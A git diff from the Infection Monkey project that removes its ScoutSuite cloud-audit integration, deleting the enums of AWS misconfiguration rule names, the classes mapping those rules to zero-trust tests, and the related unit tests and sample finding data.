a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/rule_name_enum.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/rule_name_enum.py deleted file mode 100644 index 5ad382c3d..000000000 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/rule_name_enum.py +++ /dev/null @@ -1,5 +0,0 @@ -from enum import Enum - - -class RuleNameEnum(Enum): - pass diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/s3_rules.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/s3_rules.py deleted file mode 100644 index a57d95f7c..000000000 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/s3_rules.py +++ /dev/null @@ -1,31 +0,0 @@ -from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.rule_name_enum import ( - RuleNameEnum, -) - - -class S3Rules(RuleNameEnum): - # Encryption - S3_BUCKET_ALLOWING_CLEARTEXT = "s3-bucket-allowing-cleartext" - S3_BUCKET_NO_DEFAULT_ENCRYPTION = "s3-bucket-no-default-encryption" - - # Data loss prevention - S3_BUCKET_NO_MFA_DELETE = "s3-bucket-no-mfa-delete" - S3_BUCKET_NO_VERSIONING = "s3-bucket-no-versioning" - - # Logging - S3_BUCKET_NO_LOGGING = "s3-bucket-no-logging" - - # Permissive access rules - S3_BUCKET_AUTHENTICATEDUSERS_WRITE_ACP = "s3-bucket-AuthenticatedUsers-write_acp" - S3_BUCKET_AUTHENTICATEDUSERS_WRITE = "s3-bucket-AuthenticatedUsers-write" - S3_BUCKET_AUTHENTICATEDUSERS_READ_ACP = "s3-bucket-AuthenticatedUsers-read_acp" - S3_BUCKET_AUTHENTICATEDUSERS_READ = "s3-bucket-AuthenticatedUsers-read" - S3_BUCKET_ALLUSERS_WRITE_ACP = "s3-bucket-AllUsers-write_acp" - S3_BUCKET_ALLUSERS_WRITE = "s3-bucket-AllUsers-write" - S3_BUCKET_ALLUSERS_READ_ACP = "s3-bucket-AllUsers-read_acp" - S3_BUCKET_ALLUSERS_READ = "s3-bucket-AllUsers-read" - S3_BUCKET_WORLD_PUT_POLICY = "s3-bucket-world-Put-policy" - S3_BUCKET_WORLD_POLICY_STAR = "s3-bucket-world-policy-star" - S3_BUCKET_WORLD_LIST_POLICY = "s3-bucket-world-List-policy" - S3_BUCKET_WORLD_GET_POLICY = "s3-bucket-world-Get-policy" - S3_BUCKET_WORLD_DELETE_POLICY = "s3-bucket-world-Delete-policy" diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/ses_rules.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/ses_rules.py deleted file mode 100644 index a73e00478..000000000 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/ses_rules.py +++ /dev/null @@ -1,9 +0,0 @@ -from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.rule_name_enum import ( - RuleNameEnum, -) - - -class SESRules(RuleNameEnum): - # Permissive policies - SES_IDENTITY_WORLD_SENDRAWEMAIL_POLICY = "ses-identity-world-SendRawEmail-policy" - SES_IDENTITY_WORLD_SENDEMAIL_POLICY = "ses-identity-world-SendEmail-policy" diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/sns_rules.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/sns_rules.py deleted file mode 100644 index 09d410239..000000000 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/sns_rules.py +++ /dev/null @@ -1,14 +0,0 @@ -from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.rule_name_enum import ( - RuleNameEnum, -) - - -class SNSRules(RuleNameEnum): - # Permissive policies - SNS_TOPIC_WORLD_SUBSCRIBE_POLICY = "sns-topic-world-Subscribe-policy" - SNS_TOPIC_WORLD_SETTOPICATTRIBUTES_POLICY = "sns-topic-world-SetTopicAttributes-policy" - SNS_TOPIC_WORLD_REMOVEPERMISSION_POLICY = "sns-topic-world-RemovePermission-policy" - SNS_TOPIC_WORLD_RECEIVE_POLICY = "sns-topic-world-Receive-policy" - SNS_TOPIC_WORLD_PUBLISH_POLICY = "sns-topic-world-Publish-policy" - SNS_TOPIC_WORLD_DELETETOPIC_POLICY = "sns-topic-world-DeleteTopic-policy" - SNS_TOPIC_WORLD_ADDPERMISSION_POLICY = "sns-topic-world-AddPermission-policy" diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/sqs_rules.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/sqs_rules.py deleted file mode 100644 index 44e666f96..000000000 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/sqs_rules.py +++ /dev/null @@ -1,16 +0,0 @@ -from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.rule_name_enum import ( - RuleNameEnum, -) - - -class SQSRules(RuleNameEnum): - # Permissive policies - SQS_QUEUE_WORLD_SENDMESSAGE_POLICY = "sqs-queue-world-SendMessage-policy" - SQS_QUEUE_WORLD_RECEIVEMESSAGE_POLICY = "sqs-queue-world-ReceiveMessage-policy" - SQS_QUEUE_WORLD_PURGEQUEUE_POLICY = "sqs-queue-world-PurgeQueue-policy" - SQS_QUEUE_WORLD_GETQUEUEURL_POLICY = "sqs-queue-world-GetQueueUrl-policy" - SQS_QUEUE_WORLD_GETQUEUEATTRIBUTES_POLICY = "sqs-queue-world-GetQueueAttributes-policy" - SQS_QUEUE_WORLD_DELETEMESSAGE_POLICY = "sqs-queue-world-DeleteMessage-policy" - SQS_QUEUE_WORLD_CHANGEMESSAGEVISIBILITY_POLICY = ( - "sqs-queue-world-ChangeMessageVisibility-policy" - ) diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/vpc_rules.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/vpc_rules.py deleted file mode 100644 index f4ecba532..000000000 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/vpc_rules.py +++ /dev/null @@ -1,17 +0,0 @@ -from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.rule_name_enum import ( - RuleNameEnum, -) - - -class VPCRules(RuleNameEnum): - # Logging - SUBNET_WITHOUT_FLOW_LOG = "vpc-subnet-without-flow-log" - - # Firewalls - SUBNET_WITH_ALLOW_ALL_INGRESS_ACLS = "vpc-subnet-with-allow-all-ingress-acls" - SUBNET_WITH_ALLOW_ALL_EGRESS_ACLS = "vpc-subnet-with-allow-all-egress-acls" - NETWORK_ACL_NOT_USED = "vpc-network-acl-not-used" - DEFAULT_NETWORK_ACLS_ALLOW_ALL_INGRESS = "vpc-default-network-acls-allow-all-ingress" - DEFAULT_NETWORK_ACLS_ALLOW_ALL_EGRESS = "vpc-default-network-acls-allow-all-egress" - CUSTOM_NETWORK_ACLS_ALLOW_ALL_INGRESS = "vpc-custom-network-acls-allow-all-ingress" - CUSTOM_NETWORK_ACLS_ALLOW_ALL_EGRESS = "vpc-custom-network-acls-allow-all-egress" diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/scoutsuite_finding_maps.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/scoutsuite_finding_maps.py deleted file mode 100644 index ddab1cfd6..000000000 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/scoutsuite_finding_maps.py +++ /dev/null @@ -1,224 +0,0 @@ -from abc import ABC, abstractmethod -from typing import List - -from common.common_consts import zero_trust_consts -from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.cloudformation_rules import ( - CloudformationRules, -) -from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.cloudtrail_rules import ( - CloudTrailRules, -) -from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.cloudwatch_rules import ( - CloudWatchRules, -) -from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.config_rules import ( - ConfigRules, -) -from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.ec2_rules import EC2Rules -from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.elb_rules import ELBRules -from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.elbv2_rules import ELBv2Rules -from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.iam_rules import IAMRules -from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.rds_rules import RDSRules -from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.redshift_rules import ( - RedshiftRules, -) -from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.rule_name_enum import ( - RuleNameEnum, -) -from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.s3_rules import S3Rules -from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.ses_rules import SESRules -from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.sns_rules import SNSRules -from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.sqs_rules import SQSRules -from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.vpc_rules import VPCRules - - -# Class which links ZT tests and rules to ScoutSuite finding -class ScoutSuiteFindingMap(ABC): - @property - @abstractmethod - def rules(self) -> List[RuleNameEnum]: - pass - - @property - @abstractmethod - def test(self) -> str: - pass - - -class PermissiveFirewallRules(ScoutSuiteFindingMap): - rules = [ - EC2Rules.SECURITY_GROUP_ALL_PORTS_TO_ALL, - EC2Rules.SECURITY_GROUP_OPENS_TCP_PORT_TO_ALL, - EC2Rules.SECURITY_GROUP_OPENS_UDP_PORT_TO_ALL, - EC2Rules.SECURITY_GROUP_OPENS_RDP_PORT_TO_ALL, - EC2Rules.SECURITY_GROUP_OPENS_SSH_PORT_TO_ALL, - EC2Rules.SECURITY_GROUP_OPENS_MYSQL_PORT_TO_ALL, - EC2Rules.SECURITY_GROUP_OPENS_MSSQL_PORT_TO_ALL, - EC2Rules.SECURITY_GROUP_OPENS_MONGODB_PORT_TO_ALL, - EC2Rules.SECURITY_GROUP_OPENS_ORACLE_DB_PORT_TO_ALL, - EC2Rules.SECURITY_GROUP_OPENS_POSTGRESQL_PORT_TO_ALL, - EC2Rules.SECURITY_GROUP_OPENS_NFS_PORT_TO_ALL, - EC2Rules.SECURITY_GROUP_OPENS_SMTP_PORT_TO_ALL, - EC2Rules.SECURITY_GROUP_OPENS_DNS_PORT_TO_ALL, - EC2Rules.SECURITY_GROUP_OPENS_ALL_PORTS_TO_SELF, - EC2Rules.SECURITY_GROUP_OPENS_ALL_PORTS, - EC2Rules.SECURITY_GROUP_OPENS_PLAINTEXT_PORT_FTP, - EC2Rules.SECURITY_GROUP_OPENS_PLAINTEXT_PORT_TELNET, - EC2Rules.SECURITY_GROUP_OPENS_PORT_RANGE, - EC2Rules.EC2_SECURITY_GROUP_WHITELISTS_AWS, - VPCRules.SUBNET_WITH_ALLOW_ALL_INGRESS_ACLS, - VPCRules.SUBNET_WITH_ALLOW_ALL_EGRESS_ACLS, - VPCRules.NETWORK_ACL_NOT_USED, - VPCRules.DEFAULT_NETWORK_ACLS_ALLOW_ALL_INGRESS, - VPCRules.DEFAULT_NETWORK_ACLS_ALLOW_ALL_EGRESS, - VPCRules.CUSTOM_NETWORK_ACLS_ALLOW_ALL_INGRESS, - VPCRules.CUSTOM_NETWORK_ACLS_ALLOW_ALL_EGRESS, - RDSRules.RDS_SECURITY_GROUP_ALLOWS_ALL, - RedshiftRules.REDSHIFT_SECURITY_GROUP_WHITELISTS_ALL, - ] - - test = zero_trust_consts.TEST_SCOUTSUITE_PERMISSIVE_FIREWALL_RULES - - -class UnencryptedData(ScoutSuiteFindingMap): - rules = [ - EC2Rules.EBS_SNAPSHOT_NOT_ENCRYPTED, - EC2Rules.EBS_VOLUME_NOT_ENCRYPTED, - EC2Rules.EC2_INSTANCE_WITH_USER_DATA_SECRETS, - ELBv2Rules.ELBV2_LISTENER_ALLOWING_CLEARTEXT, - ELBv2Rules.ELBV2_OLDER_SSL_POLICY, - RDSRules.RDS_INSTANCE_STORAGE_NOT_ENCRYPTED, - RedshiftRules.REDSHIFT_CLUSTER_DATABASE_NOT_ENCRYPTED, - RedshiftRules.REDSHIFT_PARAMETER_GROUP_SSL_NOT_REQUIRED, - S3Rules.S3_BUCKET_ALLOWING_CLEARTEXT, - S3Rules.S3_BUCKET_NO_DEFAULT_ENCRYPTION, - ELBRules.ELB_LISTENER_ALLOWING_CLEARTEXT, - ELBRules.ELB_OLDER_SSL_POLICY, - ] - - test = zero_trust_consts.TEST_SCOUTSUITE_UNENCRYPTED_DATA - - -class DataLossPrevention(ScoutSuiteFindingMap): - rules = [ - RDSRules.RDS_INSTANCE_BACKUP_DISABLED, - RDSRules.RDS_INSTANCE_SHORT_BACKUP_RETENTION_PERIOD, - RDSRules.RDS_INSTANCE_SINGLE_AZ, - S3Rules.S3_BUCKET_NO_MFA_DELETE, - S3Rules.S3_BUCKET_NO_VERSIONING, - ELBv2Rules.ELBV2_NO_DELETION_PROTECTION, - ] - - test = zero_trust_consts.TEST_SCOUTSUITE_DATA_LOSS_PREVENTION - - -class SecureAuthentication(ScoutSuiteFindingMap): - rules = [ - IAMRules.IAM_USER_NO_ACTIVE_KEY_ROTATION, - IAMRules.IAM_PASSWORD_POLICY_MINIMUM_LENGTH, - IAMRules.IAM_PASSWORD_POLICY_NO_EXPIRATION, - IAMRules.IAM_PASSWORD_POLICY_REUSE_ENABLED, - IAMRules.IAM_USER_WITH_PASSWORD_AND_KEY, - IAMRules.IAM_ASSUME_ROLE_LACKS_EXTERNAL_ID_AND_MFA, - IAMRules.IAM_USER_WITHOUT_MFA, - IAMRules.IAM_ROOT_ACCOUNT_NO_MFA, - IAMRules.IAM_ROOT_ACCOUNT_WITH_ACTIVE_KEYS, - IAMRules.IAM_USER_NO_INACTIVE_KEY_ROTATION, - IAMRules.IAM_USER_WITH_MULTIPLE_ACCESS_KEYS, - ] - - test = zero_trust_consts.TEST_SCOUTSUITE_SECURE_AUTHENTICATION - - -class RestrictivePolicies(ScoutSuiteFindingMap): - rules = [ - IAMRules.IAM_ASSUME_ROLE_POLICY_ALLOWS_ALL, - IAMRules.IAM_EC2_ROLE_WITHOUT_INSTANCES, - IAMRules.IAM_GROUP_WITH_INLINE_POLICIES, - IAMRules.IAM_GROUP_WITH_NO_USERS, - IAMRules.IAM_INLINE_GROUP_POLICY_ALLOWS_IAM_PASSROLE, - IAMRules.IAM_INLINE_GROUP_POLICY_ALLOWS_NOTACTIONS, - IAMRules.IAM_INLINE_GROUP_POLICY_ALLOWS_STS_ASSUMEROLE, - IAMRules.IAM_INLINE_ROLE_POLICY_ALLOWS_IAM_PASSROLE, - IAMRules.IAM_INLINE_ROLE_POLICY_ALLOWS_NOTACTIONS, - IAMRules.IAM_INLINE_ROLE_POLICY_ALLOWS_STS_ASSUMEROLE, - IAMRules.IAM_INLINE_USER_POLICY_ALLOWS_IAM_PASSROLE, - IAMRules.IAM_INLINE_USER_POLICY_ALLOWS_NOTACTIONS, - IAMRules.IAM_INLINE_USER_POLICY_ALLOWS_STS_ASSUMEROLE, - IAMRules.IAM_MANAGED_POLICY_ALLOWS_IAM_PASSROLE, - IAMRules.IAM_MANAGED_POLICY_ALLOWS_NOTACTIONS, - IAMRules.IAM_MANAGED_POLICY_ALLOWS_STS_ASSUMEROLE, - IAMRules.IAM_MANAGED_POLICY_NO_ATTACHMENTS, - IAMRules.IAM_ROLE_WITH_INLINE_POLICIES, - IAMRules.IAM_ROOT_ACCOUNT_USED_RECENTLY, - IAMRules.IAM_ROOT_ACCOUNT_WITH_ACTIVE_CERTS, - IAMRules.IAM_USER_WITH_INLINE_POLICIES, - EC2Rules.AMI_PUBLIC, - S3Rules.S3_BUCKET_AUTHENTICATEDUSERS_WRITE_ACP, - S3Rules.S3_BUCKET_AUTHENTICATEDUSERS_WRITE, - S3Rules.S3_BUCKET_AUTHENTICATEDUSERS_READ_ACP, - S3Rules.S3_BUCKET_AUTHENTICATEDUSERS_READ, - S3Rules.S3_BUCKET_ALLUSERS_WRITE_ACP, - S3Rules.S3_BUCKET_ALLUSERS_WRITE, - S3Rules.S3_BUCKET_ALLUSERS_READ_ACP, - S3Rules.S3_BUCKET_ALLUSERS_READ, - S3Rules.S3_BUCKET_WORLD_PUT_POLICY, - S3Rules.S3_BUCKET_WORLD_POLICY_STAR, - S3Rules.S3_BUCKET_WORLD_LIST_POLICY, - S3Rules.S3_BUCKET_WORLD_GET_POLICY, - S3Rules.S3_BUCKET_WORLD_DELETE_POLICY, - EC2Rules.EC2_DEFAULT_SECURITY_GROUP_IN_USE, - EC2Rules.EC2_DEFAULT_SECURITY_GROUP_WITH_RULES, - EC2Rules.EC2_EBS_SNAPSHOT_PUBLIC, - SQSRules.SQS_QUEUE_WORLD_SENDMESSAGE_POLICY, - SQSRules.SQS_QUEUE_WORLD_RECEIVEMESSAGE_POLICY, - SQSRules.SQS_QUEUE_WORLD_PURGEQUEUE_POLICY, - SQSRules.SQS_QUEUE_WORLD_GETQUEUEURL_POLICY, - SQSRules.SQS_QUEUE_WORLD_GETQUEUEATTRIBUTES_POLICY, - SQSRules.SQS_QUEUE_WORLD_DELETEMESSAGE_POLICY, - SQSRules.SQS_QUEUE_WORLD_CHANGEMESSAGEVISIBILITY_POLICY, - SNSRules.SNS_TOPIC_WORLD_SUBSCRIBE_POLICY, - SNSRules.SNS_TOPIC_WORLD_SETTOPICATTRIBUTES_POLICY, - SNSRules.SNS_TOPIC_WORLD_REMOVEPERMISSION_POLICY, - SNSRules.SNS_TOPIC_WORLD_RECEIVE_POLICY, - SNSRules.SNS_TOPIC_WORLD_PUBLISH_POLICY, - SNSRules.SNS_TOPIC_WORLD_DELETETOPIC_POLICY, - SNSRules.SNS_TOPIC_WORLD_ADDPERMISSION_POLICY, - SESRules.SES_IDENTITY_WORLD_SENDRAWEMAIL_POLICY, - SESRules.SES_IDENTITY_WORLD_SENDEMAIL_POLICY, - RedshiftRules.REDSHIFT_CLUSTER_PUBLICLY_ACCESSIBLE, - ] - - test = zero_trust_consts.TEST_SCOUTSUITE_RESTRICTIVE_POLICIES - - -class Logging(ScoutSuiteFindingMap): - rules = [ - CloudTrailRules.CLOUDTRAIL_DUPLICATED_GLOBAL_SERVICES_LOGGING, - CloudTrailRules.CLOUDTRAIL_NO_DATA_LOGGING, - CloudTrailRules.CLOUDTRAIL_NO_GLOBAL_SERVICES_LOGGING, - CloudTrailRules.CLOUDTRAIL_NO_LOG_FILE_VALIDATION, - CloudTrailRules.CLOUDTRAIL_NO_LOGGING, - CloudTrailRules.CLOUDTRAIL_NOT_CONFIGURED, - CloudWatchRules.CLOUDWATCH_ALARM_WITHOUT_ACTIONS, - ELBRules.ELB_NO_ACCESS_LOGS, - S3Rules.S3_BUCKET_NO_LOGGING, - ELBv2Rules.ELBV2_NO_ACCESS_LOGS, - VPCRules.SUBNET_WITHOUT_FLOW_LOG, - ConfigRules.CONFIG_RECORDER_NOT_CONFIGURED, - RedshiftRules.REDSHIFT_PARAMETER_GROUP_LOGGING_DISABLED, - ] - - test = zero_trust_consts.TEST_SCOUTSUITE_LOGGING - - -class ServiceSecurity(ScoutSuiteFindingMap): - rules = [ - CloudformationRules.CLOUDFORMATION_STACK_WITH_ROLE, - ELBv2Rules.ELBV2_HTTP_REQUEST_SMUGGLING, - RDSRules.RDS_INSTANCE_CA_CERTIFICATE_DEPRECATED, - RDSRules.RDS_INSTANCE_NO_MINOR_UPGRADE, - RedshiftRules.REDSHIFT_CLUSTER_NO_VERSION_UPGRADE, - ] - - test = zero_trust_consts.TEST_SCOUTSUITE_SERVICE_SECURITY diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/scoutsuite_findings_list.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/scoutsuite_findings_list.py deleted file mode 100644 index 65f85aa9d..000000000 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/scoutsuite_findings_list.py +++ /dev/null @@ -1,19 +0,0 @@ -from monkey_island.cc.services.zero_trust.scoutsuite.consts.scoutsuite_finding_maps import ( - DataLossPrevention, - Logging, - PermissiveFirewallRules, - RestrictivePolicies, - SecureAuthentication, - ServiceSecurity, - UnencryptedData, -) - -SCOUTSUITE_FINDINGS = [ - PermissiveFirewallRules, - UnencryptedData, - DataLossPrevention, - SecureAuthentication, - RestrictivePolicies, - Logging, - ServiceSecurity, -] diff --git a/monkey/tests/unit_tests/monkey_island/cc/models/zero_trust/test_scoutsuite_finding.py b/monkey/tests/unit_tests/monkey_island/cc/models/zero_trust/test_scoutsuite_finding.py deleted file mode 100644 index 952d87289..000000000 --- a/monkey/tests/unit_tests/monkey_island/cc/models/zero_trust/test_scoutsuite_finding.py +++ /dev/null @@ -1,45 +0,0 @@ -import pytest -from mongoengine import ValidationError -from tests.unit_tests.monkey_island.cc.services.zero_trust.test_common.scoutsuite_finding_data import ( # noqa: E501 - RULES, -) - -import common.common_consts.zero_trust_consts as zero_trust_consts -from monkey_island.cc.models.zero_trust.finding import Finding -from monkey_island.cc.models.zero_trust.monkey_finding_details import MonkeyFindingDetails -from monkey_island.cc.models.zero_trust.scoutsuite_finding import ScoutSuiteFinding -from monkey_island.cc.models.zero_trust.scoutsuite_finding_details import ScoutSuiteFindingDetails - -MONKEY_FINDING_DETAIL_MOCK = MonkeyFindingDetails() -MONKEY_FINDING_DETAIL_MOCK.events = ["mock1", "mock2"] -SCOUTSUITE_FINDING_DETAIL_MOCK = ScoutSuiteFindingDetails() -SCOUTSUITE_FINDING_DETAIL_MOCK.scoutsuite_rules = [] - - -class TestScoutSuiteFinding: - @pytest.mark.usefixtures("uses_database") - def test_save_finding_validation(self): - with pytest.raises(ValidationError): - _ = ScoutSuiteFinding.save_finding( - test=zero_trust_consts.TEST_SEGMENTATION, - status="bla bla", - detail_ref=SCOUTSUITE_FINDING_DETAIL_MOCK, - ) - - @pytest.mark.usefixtures("uses_database") - def test_save_finding_sanity(self): - assert len(Finding.objects(test=zero_trust_consts.TEST_SEGMENTATION)) == 0 - - rule_example = RULES[0] - scoutsuite_details_example = ScoutSuiteFindingDetails() - scoutsuite_details_example.scoutsuite_rules.append(rule_example) - scoutsuite_details_example.save() - ScoutSuiteFinding.save_finding( - test=zero_trust_consts.TEST_SEGMENTATION, - status=zero_trust_consts.STATUS_FAILED, - detail_ref=scoutsuite_details_example, - ) - - assert len(ScoutSuiteFinding.objects(test=zero_trust_consts.TEST_SEGMENTATION)) == 1 - assert len(ScoutSuiteFinding.objects(status=zero_trust_consts.STATUS_FAILED)) == 1 - assert len(Finding.objects(status=zero_trust_consts.STATUS_FAILED)) == 1 diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/test_common/scoutsuite_finding_data.py b/monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/test_common/scoutsuite_finding_data.py deleted file mode 100644 index 2302b68e9..000000000 --- a/monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/test_common/scoutsuite_finding_data.py +++ /dev/null @@ -1,89 +0,0 @@ -from monkey_island.cc.models.zero_trust.scoutsuite_finding_details import ScoutSuiteFindingDetails -from monkey_island.cc.models.zero_trust.scoutsuite_rule import ScoutSuiteRule -from monkey_island.cc.services.zero_trust.scoutsuite.consts.scoutsuite_finding_maps import ( - PermissiveFirewallRules, - UnencryptedData, -) - -SCOUTSUITE_FINDINGS = [PermissiveFirewallRules, UnencryptedData] - -RULES = [ - ScoutSuiteRule( - checked_items=179, - compliance=None, - dashboard_name="Rules", - description="Security Group Opens All Ports to All", - flagged_items=2, - items=[ - "ec2.regions.eu-central-1.vpcs.vpc-0ee259b1a13c50229.security_groups.sg" - "-035779fe5c293fc72" - ".rules.ingress.protocols.ALL.ports.1-65535.cidrs.2.CIDR", - "ec2.regions.eu-central-1.vpcs.vpc-00015526b6695f9aa.security_groups.sg" - "-019eb67135ec81e65" - ".rules.ingress.protocols.ALL.ports.1-65535.cidrs.0.CIDR", - ], - level="danger", - path="ec2.regions.id.vpcs.id.security_groups.id.rules.id.protocols.id.ports.id.cidrs" - ".id.CIDR", - rationale="It was detected that all ports in the security group are open, " - "and any source IP address" - " could send traffic to these ports, which creates a wider attack surface " - "for resources " - "assigned to it. Open ports should be reduced to the minimum needed to " - "correctly", - references=[], - remediation=None, - service="EC2", - ), - ScoutSuiteRule( - checked_items=179, - compliance=[ - {"name": "CIS Amazon Web Services Foundations", "version": "1.0.0", "reference": "4.1"}, - {"name": "CIS Amazon Web Services Foundations", "version": "1.0.0", "reference": "4.2"}, - {"name": "CIS Amazon Web Services Foundations", "version": "1.1.0", "reference": "4.1"}, - {"name": "CIS Amazon Web Services Foundations", "version": "1.1.0", "reference": "4.2"}, - {"name": "CIS Amazon Web Services Foundations", "version": "1.2.0", "reference": "4.1"}, - {"name": "CIS Amazon Web Services Foundations", "version": "1.2.0", "reference": "4.2"}, - ], - dashboard_name="Rules", - description="Security Group Opens RDP Port to All", - flagged_items=7, - items=[ - "ec2.regions.eu-central-1.vpcs.vpc-076500a2138ee09da.security_groups.sg" - "-00bdef5951797199c" - ".rules.ingress.protocols.TCP.ports.3389.cidrs.0.CIDR", - "ec2.regions.eu-central-1.vpcs.vpc-d33026b8.security_groups.sg-007931ba8a364e330" - ".rules.ingress.protocols.TCP.ports.3389.cidrs.0.CIDR", - "ec2.regions.eu-central-1.vpcs.vpc-d33026b8.security_groups.sg-05014daf996b042dd" - ".rules.ingress.protocols.TCP.ports.3389.cidrs.0.CIDR", - "ec2.regions.eu-central-1.vpcs.vpc-d33026b8.security_groups.sg-0c745fe56c66335b2" - ".rules.ingress.protocols.TCP.ports.3389.cidrs.0.CIDR", - "ec2.regions.eu-central-1.vpcs.vpc-d33026b8.security_groups.sg-0f99b85cfad63d1b1" - ".rules.ingress.protocols.TCP.ports.3389.cidrs.0.CIDR", - "ec2.regions.us-east-1.vpcs.vpc-9e56cae4.security_groups.sg-0dc253aa79062835a" - ".rules.ingress.protocols.TCP.ports.3389.cidrs.0.CIDR", - "ec2.regions.us-east-1.vpcs.vpc-002d543353cd4e97d.security_groups.sg" - "-01902f153d4f938da" - ".rules.ingress.protocols.TCP.ports.3389.cidrs.0.CIDR", - ], - level="danger", - path="ec2.regions.id.vpcs.id.security_groups.id.rules.id.protocols.id.ports.id.cidrs" - ".id.CIDR", - rationale="The security group was found to be exposing a well-known port to all " - "source addresses." - " Well-known ports are commonly probed by automated scanning tools, " - "and could be an indicator " - "of sensitive services exposed to Internet. If such services need to be " - "expos", - references=[], - remediation="Remove the inbound rules that expose open ports", - service="EC2", - ), -] - - -def get_scoutsuite_details_dto() -> ScoutSuiteFindingDetails: - scoutsuite_details = ScoutSuiteFindingDetails() - scoutsuite_details.scoutsuite_rules.append(RULES[0]) - scoutsuite_details.scoutsuite_rules.append(RULES[1]) - return scoutsuite_details diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/zero_trust_report/test_finding_service.py b/monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/zero_trust_report/test_finding_service.py deleted file mode 100644 index 4c2c1527f..000000000 --- a/monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/zero_trust_report/test_finding_service.py +++ /dev/null @@ -1,64 +0,0 @@ -from unittest.mock import MagicMock - -import pytest -from tests.unit_tests.monkey_island.cc.services.zero_trust.test_common.finding_data import ( - get_monkey_finding_dto, - get_scoutsuite_finding_dto, -) - -from common.common_consts.zero_trust_consts import ( - DEVICES, - NETWORKS, - STATUS_FAILED, - STATUS_PASSED, - TEST_ENDPOINT_SECURITY_EXISTS, - TEST_SCOUTSUITE_SERVICE_SECURITY, - TESTS_MAP, -) -from monkey_island.cc.services.zero_trust.monkey_findings.monkey_zt_details_service import ( - MonkeyZTDetailsService, -) -from monkey_island.cc.services.zero_trust.zero_trust_report.finding_service import ( - EnrichedFinding, - FindingService, -) - - -@pytest.mark.usefixtures("uses_database") -def test_get_all_findings(): - get_scoutsuite_finding_dto().save() - get_monkey_finding_dto().save() - - # This method fails due to mongomock not being able to simulate $unset, so don't test details - MonkeyZTDetailsService.fetch_details_for_display = MagicMock(return_value=None) - - findings = FindingService.get_all_findings_for_ui() - - description = TESTS_MAP[TEST_SCOUTSUITE_SERVICE_SECURITY]["finding_explanation"][STATUS_FAILED] - expected_finding0 = EnrichedFinding( - finding_id=findings[0].finding_id, - pillars=[DEVICES, NETWORKS], - status=STATUS_FAILED, - test=description, - test_key=TEST_SCOUTSUITE_SERVICE_SECURITY, - details=None, - ) - - description = TESTS_MAP[TEST_ENDPOINT_SECURITY_EXISTS]["finding_explanation"][STATUS_PASSED] - expected_finding1 = EnrichedFinding( - finding_id=findings[1].finding_id, - pillars=[DEVICES], - status=STATUS_PASSED, - test=description, - test_key=TEST_ENDPOINT_SECURITY_EXISTS, - details=None, - ) - - # Don't test details - details = [] - for finding in findings: - details.append(finding.details) - finding.details = None - - assert findings[0] == expected_finding0 - assert findings[1] == expected_finding1 From 039a62a22477f9aa55a9595fe2895757b6212b39 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 1 Feb 2022 16:16:02 -0500 Subject: [PATCH 0325/1110] Island: Remove ScoutSuiteRawDataService --- .../models/zero_trust/scoutsuite_data_json.py | 20 ------------------- .../resources/zero_trust/zero_trust_report.py | 11 +--------- .../scoutsuite_raw_data_service.py | 13 ------------ 3 files changed, 1 insertion(+), 43 deletions(-) delete mode 100644 monkey/monkey_island/cc/models/zero_trust/scoutsuite_data_json.py delete mode 100644 